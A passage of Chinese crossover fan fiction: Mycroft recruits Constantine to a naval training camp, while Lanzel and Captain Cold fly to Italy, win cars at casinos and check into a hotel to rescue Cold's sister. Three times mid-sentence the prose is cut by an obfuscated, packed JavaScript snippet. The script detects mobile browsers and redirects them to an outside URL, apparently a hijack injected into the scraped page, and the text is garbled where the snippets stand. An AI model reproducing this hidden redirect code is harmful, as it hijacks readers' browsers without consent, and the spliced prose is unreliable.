西风在寥阔的草场来回呼啸,片刻后,康斯坦丁终于松开抿紧的嘴,泄气地道:“——好吧!该死……我恨你,麦考夫·福尔摩斯。” 麦考夫的嘴角微微上挑,向康斯坦丁礼貌地伸出右手:“欢迎加入特训营。” · 皇家海军特训营的面积相当大,这片区域只对特殊干员开放,普通的特工甚至不会有机会知道这里的存在。 麦考夫和康斯坦丁跟在麦肯上将身后走进宿舍区,康斯坦丁全程都在嘶嘶地倒抽气:“你们不是要告诉我,这种又有后院游泳池,又是独栋别墅的……”康斯坦丁找不到合适的词汇形容,只对着前方的别墅群抡了一下胳膊,“——是你们的特工宿舍?” “是宿舍,也是训练场。”麦肯上将还在拿看有害入侵物种的眼神看康斯坦丁,“这片区域涵盖了大量布局不同的别墅,背面潜入、正面突袭,包括闭气训练,全部都能实地操练。” 麦肯上将停在两栋门对门的别墅前:“你们就住这,我住后面的那栋。不需要额外准备行李,每天会有物资空投到这里。今晚好好休息,明早训练开始。” 简洁利落地说完重要讯息,麦肯上将很快离开。转身的那个力度让康斯坦丁怀疑,这位老上将是想用转身带出来的风把他扇出特训营。 他不以为意地轻哂了一声,揣着口袋缀在麦考夫身后,走进麦考夫的宿舍:“我都答应帮忙了,你可以告诉我到底怎么回事了吧?” “方便你听完故事就毁约?我没这个打算。”麦考夫来时,手上是拎着一个小行李箱的,里面装着他简单整理出的衣服、电脑等等。 他没心思搭理康斯坦丁,进门就迅速从行李箱里端出笔记本电脑,打开后直奔邮箱看有没有情报部发来的调查结果。 康斯坦丁不受欢迎习惯了,被无视也无所谓,继续叼着烟在别人的宿舍里到处游手好闲,试图用二手烟污染整个地盘。但别墅说大也不算大,很快他就从楼上转回来,百无聊赖地又晃悠回仍坐在客厅沙发上跟电脑对峙的麦考夫身边,随意侧头看了眼茶几边摊开的行李箱: “——这是什么?” 两个小药瓶塞在大量的公文和少量的衣物间。康斯坦丁眼尖地看清药瓶上的文字: “力蜚能—多糖铁复合物胶囊……金施尔康?怎么,你贫血还是缺铁?就这样你还想接受特训?” 麦考夫头也不抬地一把抢回药瓶:“不是我的。” ——与此同时,中心城。 寒冷队长警惕地注视着压在指腹下的银币渐渐褪去微弱的银光:“这到底是什么?魔法道具?诅咒物件?契约?” “差不多就是这类东西吧,”兰泽尔拈起银币,仔细观察磨损得几乎看不见雕纹的银币上密布的裂隙,遗憾的是并没有看出多少愈合的迹象,“你可以理解为——通过这项仪式,你把你的运气让渡给了我。但别担心,只要你不背弃承诺,这些都不会对你产生任何影响。” “什么影……算了,这不是最要紧的,”寒冷队长带着点破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185136|197001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罐子破摔的意思抽回手,放弃继续跟兰泽尔浪费时间。 他大步走到自己的冷冻枪边,重新端起老伙计:“走吧!” “等等,走去哪?”兰泽尔将银币揣回口袋,“你不会是想直接跳进海里,游上范科家族的游轮吧?” “……”寒冷队长的眉头忍不住皱起来,他觉得兰泽尔已经耽误了不少时间,让他很难不急躁,“当然不,我们可以赶去渡口租一辆游艇——” “然后爬上游轮,拿枪威胁上面的人交出你的妹妹?”兰泽尔摊开手,“拜托,你不会觉得你妹妹会就站在甲板上等着你救她吧?她肯定被关在内层……” 熟悉的锐痛骤然扎进大脑,像有人拿着锤头,猛然将锥子凿进头颅。 兰泽尔眼前瞬间一花,耳鼓膜嗡然作响,但他只是稍微停顿一下,就仿若无事地接着说完:“——船舱。” “你爬上游轮只有两个结果,结果一——你刚冒头就被甲板上的守卫打成筛子,结果二,黑手党知道你会劫走你妹妹,为了维护家族尊严,直接在船舱里把你妹妹处死。” 他听不见自己说话的声音,不知道自己的语调有没有因为听不见而扭曲。也看不见寒冷队长的神情,借此推论自己这番演说有没有发挥好。 头颅中的那根锥子开始恶意地四下搅弄起来,仿佛要将他的大脑搅成一瘫软烂的脑花。 他不得不停下话头,克制了一下气息,才接着道:“——总之,这事儿不能暴力解决,”他感到鼻腔中有温热的液体在向下流淌,遂加快语速道,“等我去卫生间洗把脸再跟你说。” 反正也听不见寒冷队长有没有阻拦,兰泽尔转身大步走向卫生间的方向,摸索了两下才粗暴地拧开门,微显踉跄地踏入卫生间,反手关上房门。 鼻腔的温热开始向嘴唇和下巴蔓延,兰泽尔微微仰起头,张着嘴缓了几口气,因思考而带来的痛苦才渐渐缓解。 寒冷队长带着恼火的声音隔着门板传进来,兰泽尔没去管。 他一屁股坐在马桶上,扯下几张卫生纸胡乱擦了擦脸上的血,片刻后忽地反手,攥住挂着纸卷的金属杆,手臂肌肉豁然绷紧。 “吱呀——哐!” 站在门外质问的寒冷队长因突然的巨响顿住:“……怎么回事?” “……”兰泽尔的胸膛随着剧烈的呼吸起伏。 他喘息了片刻,丢开被拽断的金属杆,胡乱将纸扯下来大半:“没事!老物件不太牢靠。我说了等我洗把脸再说,你就不能安安静静等个两分钟?!” 门外没有声音了,大概是寒冷队长在谨慎地揣摩卫生间里到底发生了什么。 兰泽尔将扯下的纸巾一股脑怼在鼻腔前,深呼吸了一口气。 好吧,其实没那么难对吧?只是会有点小疼,快点想完计划,不就能快点解脱了? 锐痛随着思考凿入头颅,兰泽尔绷紧了牙关,嘴唇近乎发白。 大量思绪如同蛛网迅速汇聚,交织,最终拧成一条清晰明确的路线。 “呃……”他闷哼着猛松了一口气,停止思考。 缓过神来抬起头时,他看见镜中的自己下半张脸被血染得通红。 这倒是少有的经验。 正常情况下,麦考夫都会在这种时候跟他一起挤在卫生间里,靠坐在洗手池边。对方轮廓漂亮的肩背会遮挡住镜子……他抬起头时,只能看见怀表的金链子在灯光下折射着迷幻耀眼的金光,蛇一样从麦考夫一丝不苟的西装马甲下蔓延出来,一路没入马甲侧袋…… 那画面总让他产生一种错觉,仿佛那条金链——那条蛇一样蜿蜒出笔挺西装的金链,就是麦考夫隐晦地探出克制外表的欲望。 兰泽尔愣神了数秒,某一瞬忽然清醒过来,一边惋惜自己以后可能看不到的美好画面,一边随手把完全被血浸湿的纸巾丢进垃圾桶,站起身,用剩下的几张纸巾清洗完脸上的血迹。 他真该早点习惯这个。毕竟麦考夫已经不在身边了,需要他自己思考的困境只会越来越多。 “咚咚咚!”磨砂门被敲响,寒冷队长有些不耐的催促声从门外传进来:“好了没?已经2分钟了!” 兰泽尔呼出一口气,丢下纸巾推开房门:“好了好了,急着去投胎吗?” “——我知道该怎么做了。” 4. 第 4 章 三小时后,中心城机场。 顶着易容,换了身浅色风衣的两人背着挎包,像两个出差的普通社畜,混入前往安检的队伍中。 “给,这是你的。”兰泽尔在两份护照里分辨了一下,头也不抬地将其中一份反手拍上寒冷队长的小腹。 “什么……”寒冷队长皱眉看了眼护照上的Lennie,“——我不想叫兰尼!” 他眼疾手快地一把攥住兰泽尔另一边的手腕,偏头看了眼兰泽尔的自留款:“兰迪??等等,凭什么你是兰迪,我就得用这种女生名?” “怎么,你不喜欢这名字?”兰泽尔故意拉长了尾音喊,“兰——妮?” 他承认自己是故意挑这么个名字的。这多有趣!前路漫漫,不玩一玩旅伴……不是,不和旅伴开开无伤大雅的小玩笑,岂不显得他很沉闷无趣? 顶着寒冷队长冰凿子似的目光,恶趣味得到充分满足的兰泽尔倍感愉悦地抽回手腕:“我出钱办的护照,我出力给我俩做的打扮,当然是我先挑名字。拜托!兰妮,别因为这种小事叽叽歪歪了——哦!到我们了,快点。” 兰泽尔飞快转过头,迈着轻快的脚步大步走向安检口,只留给寒冷队长一个毛绒绒的黑发后脑勺。 “……”寒冷队长暗自绷住脸,微咬了一下牙。 上帝知道他有多想一拳砸在面前这颗黑脑袋上,但迎着面前安检口三四个工作人员的注视,他只能憋住气,捏着鼻子认下了兰尼的护照,跟在兰泽尔身后走向安检门。 ——别的不说,兰泽尔做易容的手艺还是不错的。 大部分□□都很难复刻真实的毛孔,也很容易因为僵硬而被揭穿,但兰泽尔做的面具无比贴合皮肤,两人没遇到任何阻碍,就跨过了安检关卡,很快登机。 “你确定这样没问题?” 兰泽尔顺着狭窄的过道往后排走时,听到紧跟在身后的寒冷队长有些耐不住性子地低声追问: “如果和你推测的不一样,范科家族没打算一路坐游轮回意大利,中途就换乘飞机了呢?这不是没可能,你想想他们从中心城坐游轮回意大利至少要两周到四周的时间,但飞机只要几个小时,什么人会想不开这么自己折磨自己?” “被通缉但不会易容的人?”兰泽尔一屁股在靠窗的座位上坐下,饶有兴致地打量寒冷队长,觉得这人的真实性格和谷歌上的描述还是有些不同的。 谷歌上怎么说的来着?‘他冷静而高效地运转着无赖帮,禁止伤害妇女儿童、禁止贩.毒、禁止滥杀等原则看似善良,实则是他维持专业性的手段之一。如果你因此指望能在他身上寻找到一丝属于人性的温暖,那你就错了,就像他的代号那样,寒冷队长同其他超级反派一样冷酷无情。’ 但事实上呢?这位冷酷理性的超级反派才为了营救自己的妹妹签下契约,出卖自己的灵魂。很明显,亲情是这个超级反派最大的弱点。 兰泽尔喜欢和有弱点的人打交道,他很主动地替寒冷队长拿开座位上的杂志,拍拍坐垫示意对方坐下再聊: “我说过,我以前的工作让我能经常接触到范科家族的情报。” “他们历史悠久,作风老派,进行跨国贸易时,一定会选择游轮作为交通方式——这跟自己折磨自己无关,你明白吗?就像……有钱佬总是爱雪茄胜过香烟,这叫格调!要知道不是每个黑手党家族都能在每条航线上都拥有属于自己的私人游轮的,这种交通方式也算是一种财力底蕴的炫耀和展示。” “所以这也给了我们乘坐飞机,赶在他们之前抵达意大利,提前做好布置,等待他们到港的机会。”寒冷队长重复了一遍计划梗概,以此安抚自己的情绪,“精确来算,我们有多少时间提前做准备?” “半个月。”兰泽尔不知道从风衣的哪个口袋里掏出了一副墨镜潇洒戴上,环臂抱胸侧靠上舱壁,“安心吧,兰妮。半个月都够莱克斯·卢瑟给超人家族再造个新成员了。——我要睡一觉,不到落地别吵醒我。” · 在飞机上补眠是个好计划,但计划往往会被各种意外打破——好比现在。 “咚!” 斧头劈散雪风,剁进血肉的声音。 兰泽尔感受到雪飘落在嘴唇上融化的冰凉,听见低沉的号角震得大地嗡鸣。 有战士在四周发出濒死前的怒吼,有孩子发出刺耳的尖叫。 “兰泽尔!”一双粗糙有力的手猛然攥住兰泽尔,试图将他从地面上拽起来,“快点!我们挡不住那些入侵的家伙,我们得马上撤——” “咚!” 石斧在兰泽尔眼前横劈而过,掀得雪片在风中盘旋。紧跟着,滚烫的血伴随着肋骨碎裂声,喷洒了兰泽尔满脸。 “嗬……” 上一秒还攥着兰泽尔,想拖着兰泽尔逃生的人倒下了,刺目的鲜红渐渐在雪地上氤氲开。 “……”兰泽尔粗重喘息着,过量的氧气甚至让他晕眩。 他竭力试图爬起来,但他不能。同伴就匍倒在他身侧,脸尚且还面对着他,他能看见对方的蓝眼睛渐渐涣散,呼吸在冷风中烫出最后一抹白雾…… “你看见了吗?”一道嗓音带着兴奋在他头顶落下,有人伴随着衣物窸窣声蹲下,“哦拜托,你这样躺着,我要怎么欣赏你脸上的表情?这可不好,兰泽尔……兰泽尔。我们已经认识多久了?为什么你还是学不明白,顺从我的意愿才是你最好的选择?” “咚!” 石斧又落下了。 砍进不同人的血肉,发出同样沉闷的声响。 骨头碎裂的脆响似乎变成了冗长重复的曲调中解闷的间奏,直到侩子手抓住兰泽尔的头发,粗暴地将他的头从雪地里拽起来。 夕阳在雪地上折射出大片如梦似幻的粉紫色,兰泽尔听见自己的声音麻木而沙哑地说:“……杀死我吧。” 刽子手却说:“不。” 那人将他的头颅又拽起了些许,亲昵地吻他的侧颊:“那还有什么乐趣可言呢?别心急,我才刚刚开始呢……” “咚。” 闷响声。脆响声。疼痛,麻木……所有的感官混合成宿醉似的迷幻和天旋地转。 直到某一刻,兰泽尔忽然听见有呼喊声似乎从很近的地方传来:“……兰泽尔,兰泽尔!醒醒!” “咚!” 一记拳头有力地砸上兰泽尔的脸。 兰泽尔吃痛地猛然惊醒,睁眼就见一帮子乘客、空姐围在他周围,坐在他旁边的寒冷队长正活动着手腕,脸上带着一丝趁机报仇了的满意:“……干什么?我不是说了等飞机落地再喊我吗?” 寒冷队长:“我是这么说的——” “但您的状态看起来糟糕透了,我们都有点担心会不会出意外。”空姐关切地递来一杯热水,“您还好吗?” “当然,我好极了。”兰泽尔拽着空调毯重新裹了裹自己,没接空姐递来的热水,只用大惊小怪什么的眼神扫视了一周,逼退周围投来的视线,“怎么,没见过人做噩梦?噩梦怎么了,又不是不能接着睡。” “……”空姐端水的手在空中僵了几秒,难以言喻的神情仿佛很想说“你真奇葩”,但职业素养令她即使好心被当驴肝肺,依旧只是礼貌地微笑了一下,就端着水转身离开,继续自己的工作。 “——你知道吗?你真是个怪胎。”寒冷队长代替空姐说出了她的心声。 他还在搓揉自己的手指骨节,虽然都说力的作用是相互的,但之前砸兰泽尔那一下,兰泽尔的脸连红都没红一下,他倒是痛得活像锤上了一堆碎石:“虽然你之前是说过飞机降落后再叫你,但你真希望如果你在做噩梦,我就放着你不管?” “对。当然。不然我还怎么接着睡?”兰泽尔用你在问什么傻瓜问题的眼神看回去。 “……”寒冷队长试图对上兰泽尔的脑回路,“你知道正常人做噩梦的话,都是希望有人能喊醒自己的吧?” 兰泽尔撇着嘴耸耸肩,将毛毯往脸上一搭:“我可不是那种因为做噩梦就不敢睡觉的孬种。做噩梦也算是在睡觉,睡觉就能恢复精神——话说在前头,你如果也遇到类似的情况,最好早点找回平常心。我可不想到时候还得一拳放倒你,逼你休息。” “……”寒冷队长完全无法理解一段原本算是关心兰泽尔的对话,最后是怎么变成对自己的批判的,“你简直是个混账,兰泽尔。” 兰泽尔头顶着小毛毯,不以为意地拍拍寒冷队长的腿:“谢谢夸奖,兰妮。” 很幸运的是,接下来的几小时,兰泽尔都没有再做噩梦。等到再次被寒冷队长推醒时,兰泽尔一个激灵扯下小毛毯,顶着一头乱发睡眼惺忪地在原地坐了会,才渐渐反应过来,神情松软地打着哈欠问:“几点了?” “晚上十点。”寒冷队长站起身拿行李,脸上透着些许倦意。 他显然没兰泽尔那么坦然的心态,一路都在反复复盘兰泽尔提出的营救计划,试图找到可能出现的漏洞,早点补上:“快点。按照你的计划,我们还得赶去那家范科家族的继承人常住的酒店办理入住——那家酒店叫什么来着?Belvedere dell''Aquila——山鹰瞭望台酒店?我不认识去那的路,还得找个靠得住的司机——” “对……关于那个。”兰泽尔打着哈欠晃晃悠悠站起来,顺手扒了扒头发,虽然只是把一头黑毛扒得更乱,“我之前提的计划,只是个简略的梗概,还有很多……细节,有待补充。比如……那家酒店极其昂贵,并且我们如果想和小范科搭上话,必须得包一间总统套房,我手头上的活钱加一起都不够包一晚的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185137|197001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……什么??”寒冷队长不可思议地停住拿行李的动作。 他连中途失败,紧急脱身的后备方案都想了两三个了,偏偏没想过会在这种他以为不可能有问题的事情上出问题:“那你为什么说得好像你有那里的贵宾卡似的!等等……如果我们没法好小范科搭上话,那你的计划从一开头就没法顺利实施!我们要怎么做?!临时在这儿——”寒冷队长迅速瞥了眼周围,压低声音,“临时在这儿找个‘活儿’干吗??” 兰泽尔眯起眼睛,十分赞赏新旅伴这种遇事先解决问题的行事风格。 银币变魔术似的从他指尖翻飞而过,兰泽尔揉着一头卷毛冲寒冷队长懒洋洋笑了一下:“急什么?赌场不倒闭,还怕没钱赚吗?——找找附近的赌场,我们先去玩两把。” 于是。 10:45,两人抵达机场附近最近的赌场。 11:20,兰泽尔在一群赌鬼或亢奋或挫败的吼叫声中横扫赌场,开着一辆赢来的红色跑车一路猛踩油门,驰骋进更加繁华的市中心。 12点整。兰泽尔从市中心最大的赌场中走出,随手将红跑的车钥匙丢给失魂落魄、赔得倾家荡产的对手,坐进新赢来的阿波罗evo内。 他无比舒爽地缓缓吐出一口气,珍惜地慢慢摸了圈跑车漂亮的方向盘,才关上车门,从车窗内探出头,冲着还傻站在车边直愣愣地瞪视着车,几乎和对手一样魂不守舍的寒冷队长吹了声口哨:“上车啊!兰妮。发什么呆呢?现在又不是你催我的时候了?” 寒冷队长:“……” 虽然很讨厌,但他必须承认兰泽尔的确有几把刷子。如果不是他们的相遇太过糟糕,他也许会喜欢和兰泽尔打交道,毕竟这种一掷千金的疯狂、千金散去还复来的惊险刺激,不正是令他沉迷于盗窃、抢劫,总是和闪电侠作对的原因之一吗? ——与此同时,英国皇家海军特训营。 康斯坦丁已经离开别墅,只留下麦考夫独自坐在客厅沙发上,脸浸在电脑的蓝光中,头也不抬地盯着屏幕,一目十行地扫视情报部从世界各地汇总来的所有信息。 他的手机铃声又响了起来,以一种只要他不接电话,就能一直聒噪到天荒地老的劲头使劲轰鸣着重金属摇滚乐。 麦考夫的牙关极轻地搓碾了一下,还是伸手接通电话:“什么事?” “你这话怎么说的,我是你的母亲,非得有事才能给你打电话吗?!”老福尔摩斯夫人的声音从话筒里冒出来。 不过她并不是来吵架的,只嗔怪了一句,就絮絮叨叨道:“兰泽尔放在我们这儿的阿波罗evo准备什么时候开走?我已经连续几天晚上抓到你爸大半夜的不睡觉,想去开那辆车。开玩笑……以你爸的反应速度,他能开那辆车?我可不想早早变寡妇。而且,兰泽尔一直都很宝贝这辆车,我记得他连你都不让开吧?万一蹭到哪了他不得心梗死?所以你记得跟兰泽尔说,早点来开走它……” 老福尔摩斯夫人的絮叨声在空旷的别墅中回荡。 麦考夫沉默着,灰蓝色的眼睛倒映着电脑方窄的屏幕,像一尊凝固在静穆中的塑像。 老福尔摩斯夫人:“哈罗?哈罗?你还在听吗迈克?哦天,让兰泽尔直接来接电话吧——” “他现在不在。”麦考夫终于开口,“去做一份紧急的外勤工作了。” “哦……好吧,”老福尔摩斯夫人失望地问,“那他什么时候回来?这不是那种一出差就得潜伏个一年半载的那种任务吧?今天是2月23号,还有三个多月就是兰泽尔的生日——6月24号,对吧?我记得你之前说的是这个日期。他还能赶得上回来过这次生日吗?” 麦考夫的喉结微微滚了一下,正想说任务这种东西怎么能说得准时间,视线忽然在电脑屏幕上迅速翻滚过的邮件内容上定住。 这是一份来自美国中心城的情报汇总,其中囊括有近期当地电视台的大小新闻。此时此刻,金发的美女主持正在截录的新闻中播报: “……据悉,这场荒谬的绑架发生在今天下午,本市最大的珠宝店中。” “彼时,以抢劫银行、大规模盗窃而臭名昭著的寒冰队长,正率领无赖帮一同抢劫一家珠宝店。然而抢劫进行到一半,珠宝店中的无赖帮成员却突然冲了出来,惊慌大喊‘绑架!有绑架犯绑走了老大’……” 麦考夫渐渐坐直了身体:“——能。” “听我说,妈妈,明天我会让安茜娅去把车开回来,我现在有别的事要忙,回头再聊!” 老福尔摩斯夫人:“安茜娅?等等,兰泽尔不让其他人开——” 麦考夫已经把电话切断了。他迅速拨通安茜娅的号码:“——让人把今天下午那场发生在中心城珠宝店的抢劫案情报都送来。如果珠宝店内有监控录像,我要看。” 5. 第 5 章 麦考夫没有等待安茜娅回复的打算,简洁交代完就放下了手机。 他盯着录播新闻左上角,那里有一个更小的视频框,里面播放着电视台从珠宝店对面的商店讨要来的监控镜头。 “然而抢劫进行到一半,珠宝店中的无赖帮成员却突然冲了出来,惊慌大——” “咔哒!” 麦考夫忽地敲下空格键,移动鼠标开启了慢放,才重新播放视频。 “喊……绑……架……” 监控镜头被拉长得像卡帧。 麦考夫搭指成塔,指尖轻抵着上唇,能看见此时此刻,无赖帮成员还在店里晃荡,尚没意识到自己的领袖被人绑架了。 下一秒,透过珠宝店透明的橱窗,他看见保险库方向的拐角忽地探出一道黑色的身影,但不到半秒,那身影就触电似的瞬间缩了回去。 “兰泽尔……”麦考夫放下手,看着露出拐角的那截西装袖口上的芬达石袖扣,无声喃喃。 如果说黑西装很容易撞衫,那L.T.House手工西装再加上不久前兰泽尔才刷麦考夫的卡拍下的芬达石袖扣,基本已经铆死了这个出现在中心城的奇葩绑匪的身份。 那么现在的问题是,兰泽尔是怎么从英国突然爆炸的奔驰车,闪现到美国中心城的? 虽然麦考夫跟康斯坦丁介绍,说兰泽尔是个神明。但现在的兰泽尔有多虚弱,他比任何人都清楚—— 一个什么神力都用不出来,几乎就只是力气大点儿的普通人,是怎么做到三秒前还开着车在英国边郊的公路上行驶,爆炸的火光一响,却几乎毫发无伤地出现在美国中心城的? 而且,为什么是中心城? 为什么要绑走寒冷队长? “叮咚!” 邮箱一响。 麦考夫抽回思绪,迅速打开秘书小姐发来的邮件。里面按照时间顺序,罗列了所有情报部收集来的监控录像。 麦考夫扫了一遍就疑惑地蹙起眉宇,再次拨通秘书小姐的电话:“刚刚那些录像,是不是缺漏了些什么?你给我的都是周围店铺的监控,珠宝店的呢?” “珠宝店的监控坏了。”安茜娅说。 “什么?不可能。”麦考夫蹙眉调整着武装运输车押送新货进出店门那段录像的进度条,“珠宝店又不是天天都有新货上门,如果你是珠宝店的负责人,有一批上千万美金的新货要押送到店,你难道不会提前检查好所有安全设施?” “中心城警方也是这么问的,但那位负责人就是说,的确是自己忘了。” 安茜娅将刚整理完的案件笔录也发给麦考夫:“这的确很奇怪……但更奇怪的是,中心城警方试图让被抢劫的珠宝店店员描述那个绑架寒冷队长的绑匪的外貌,方便做侧写,结果每个店员给出的描述都不相同。有人说绑匪是个红发的壮汉,有人说绑匪是个看起来很奸诈的尖鼻子小矮子。” “面对警方,那些无辜的店员不可能故意做假证,而且做得这么明显。唯一的可能是——” 有人篡改了目击证人的记忆。 监控也很可能是这个人摧毁的。 麦考夫这么想着,心中的某处忽然冒出某种不太舒服的别扭感——他不知道兰泽尔是怎么在他眼皮子底下认识这个显然有特殊能力的帮手的,很有可能,这个帮手其实是兰泽尔以前的老熟人,但兰泽尔从没对他提过这个老熟人的存在,即使他和兰泽尔绑在一起、共同生活了24年。 “……”麦考夫的右手不自觉地抵上眉心,半晌看着五花八门的笔录无声骂了一句。 安茜娅谨慎地询问:“先生,这是不是意味着我们搜集来的材料没有任何用处?毕竟所有的监控和记忆都可以被随意修改,我们没法得知哪些才是有用的信息——” “不,新闻转播里,兰泽尔的反应是有用的信息。”麦考夫抵着眉心,声音却和平常一样从容轻柔,“那个将他从爆炸场带来中心城的同伙,肯定在转移完兰泽尔后没跟兰泽尔在一起,否则这个人一定会提前告诉兰泽尔,他们正在珠宝店中,并且这家店四周都是玻璃橱窗,一冒头就会被监控捕捉住——” 那个同伙肯定不是故意不告诉兰泽尔的,否则也不需要后续亡羊补牢地捣毁所有监控,摧毁所有人证物证。 “兰泽尔并不知道自己被拽到了哪里,所以他才会从拐角墙后冒头,又在看清周围的玻璃橱窗后紧急缩回去。” “这意味着绑架寒冷队长,很有可能也不在他原本的计划内。也许寒冷队长撞破了某个对他来说很重要的秘密,所以他才不得不带着寒冷队长上路。” “所以……”安茜娅试探地询问,“这个秘密是什么?和您要求我发布绿色通缉令有关吗?” “……”麦考夫闭上嘴,不愿承认他不知道。 二十四年的时间,他们日日夜夜都绑在一起。兰泽尔的灵魂附着在他身上,他们几乎灵魂相贴。 但就算是这样,就算兰泽尔知晓他从7岁至今的一切秘密、所有的人生,他依旧对兰泽尔的过去所知甚少。老天,他所了解的兰泽尔甚至都有可能是对方伪装给他看的——他能相信什么? 麦考夫罕有的烦躁,视线在不经意间瞥过情报中寒冷队长的三寸正面照,没过几秒,动作忽地一顿,视线又扫了回去,心中的那块不舒服顿时又蔓开了一大片: ——好极了。至少他知道了兰泽尔喜欢看脸下菜的癖好是真的。 他敢肯定如果寒冷队长长成双面人那样,兰泽尔能当场把人沿着中间线切成两半,而不是还不辞辛苦地带着跑路。 “先生?”秘书小姐并不知道上司的胃部正在泛酸,追问了一句。 麦考夫揉了下脸,扯开领带:“那秘密肯定就在珠宝店被销毁的监控里,但我们无从得知了。但这不代表我们没有可利用的线索——” “那个同伙消除了珠宝店和周围店铺所有不利于兰泽尔的证据,但电视台拿到手的那段录像却顺利播放了出来。这意味着那个同伙是在后期才发觉兰泽尔暴露了这件事,赶去亡羊补牢的。” “这也意味着,至少在拖着寒冷队长逃离珠宝店时,兰泽尔是完全依靠自己的。” “他没有特殊力量,即使力气过人,但也不足以扛着寒冷队长那样的成年男性步行逃脱——他一定借用了珠宝店附近的车辆。” “……”借用这个词就很灵性,安茜娅记得福尔摩斯先生一般不这么美化其他罪犯的行为,“但珠宝店附近的车辆没有失窃,我们的人已经确认了这点。” “……”麦考夫停下动作,温和的语调里透出一股优雅的嘲讽,“你们什么时候确认的?十分钟前?在兰泽尔那个同伙处理完监控、篡改完记忆,消除完所有证据之后?” “你觉得对方会留给你们什么线索?一张贺卡上写着‘看,这儿有个空车位,你们该从这儿着手’?” 意识到自己多少有些迁怒无辜的秘书小姐,麦考夫压下了情绪,重新放缓语调:“那个同伙,一定是用某种魔法侧的手段变出了一辆一模一样的车,才让失主和警方都毫无察觉。” “设法将今天下午绑架案发生前后的所有车辆都弄到手——买,协商,随便你们用什么方式。将这些车辆送来特训营,康斯坦丁应当能分辨出哪辆车有问题。” “还有——安茜娅。” 站起身,终于舍得打开灯去洗漱的麦考夫犹豫了一下,视线划过寒冷队长的三寸照片,那点犹豫霎时被踹飞了:“我需要你为我做一件事。” “去老夫人的农庄把兰泽尔的阿波罗evo开回来吗?”安茜娅干练可靠地说,“老福尔摩斯夫人刚刚才给我打过电话。请放心,我会处理好所有痕迹,不会让兰泽尔知道车是我开回车——” “不。” 麦考夫说:“我要你替我卖掉那辆车。” 安茜娅:“——库的……什么??” “你听到我说的了。”麦考夫重复,并且叮嘱得更加精确,“不要私下处理,放到有口碑的国际拍卖行上公开拍卖——不需要拍卖行在拍卖开始前隐藏商品信息。事实上恰恰相反,我希望有一辆阿波罗evo即将公开拍卖的信息尽快传入网路,任何关注这款车的人都能立即搜到。” “还有,催促情报部加紧恢复兰泽尔的网路浏览痕迹。” ——与此同时,意大利山鹰瞭望台酒店前台。 “我的阿波罗是不是美极了?”兰泽尔依靠在绿底镶金的大理石柜台边,浑身都透着一股志得意满的嘚瑟劲儿。 他一边办入住,一边扭头跟身边面无表情得像个铁疙瘩、显然不想听他叭叭的寒冷队长强行炫耀:“我跟你说,在英国,我还有另一辆阿波罗。真可惜这次出国不能带上她……嘿!我在想,也许我们有空应该把那辆阿波罗也接过来?” 寒冷队长完全无法感同身受,他只能感到仇富:“接回来给我开?” “……”兰泽尔说个不停的嘴一下止住了,片刻后严肃地看着寒冷队长,将人往远推了推,那意思是我们之间还是应该保持一点客套的社交距离,“朋友,你可以让我帮你任何忙。但别觊觎我的阿波罗们,明白吗?她们是我的老婆。如果我死了,她们是要陪我一起躺进墓地里的。” “……”寒冷队长完全不想搭理兰泽尔,只伪装成拘谨无害的样子,撑着柜台,询问服务员,“手续办好了吗?我想问问——呃,抱歉。这是我们第一次住这家酒店。这酒店隔音怎么样?呃……我们的房间周围有别的邻居在住吗?如果有那种音乐从早轰炸到晚的派对客,能不能换——” “请放心,”服务员甜美地笑着,将房卡推到寒冷队长面前,“您周围暂时没有别的宾客入住。即使有新客人,我们酒店的隔音设备也足以保证您不会受到邻居的干扰。” “好极了!呃,谢谢你。”寒冷队长向服务员礼貌致意完,看都不看还想继续跟服务生搭讪的兰泽尔,就一把抓住兰泽尔丢在地上的行李箱,另一手拽住兰泽尔的衣领,大步走向房间。 “嘿!你就不能对我温柔点吗?”兰泽尔被拽得踉踉跄跄跟在寒冷队长身后,还有闲心对着沿途看到的漂亮人类送去撩骚的眼神。直到被甩进总统套房的大门,他才收敛了招猫逗狗的兴致,懒洋洋地将自己丢上客厅沙发。 “小范科每个月月末都会来这里住几天。刚刚前台说我们周围都是空房,就意味着小范科现在还没来酒店,我们也许还有两到三天的时间,来为接下来的计划做准备。” 他在沙发上翻了个身,摸到遥控器打开电视,里面正在播报一则“泽尔多小镇爆发恶性瘟疫”的新闻。 “又是瘟疫?”走进卫生间烧水的寒冷队长探出头,对此类新闻有种强烈的、不好的预感,“这已经是这个月以来第几个因为突发瘟疫死光的小镇了?每一个之间都隔着千八百里远,什么样的瘟疫能这么爆发?” “恶魔。”兰泽尔一闲下来,手就习惯性地摸出银币把玩,“新生的吸血鬼。狼人家族火拼。也许还有可能是天使——怎么,干什么这幅表情?不相信这些东西真的存在?” “……”别说,寒冷队长还真不信,即使他已经见识过魔法和超能力的存在,“你不是在开玩笑?恶魔这些我都能明白,为什么还有可能是天使?天使不应该——” “都是善良的,站在人类这边的?”兰泽尔嗤笑了一声,“你洗脑包看太多了。” “想想圣经中记载的天使是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 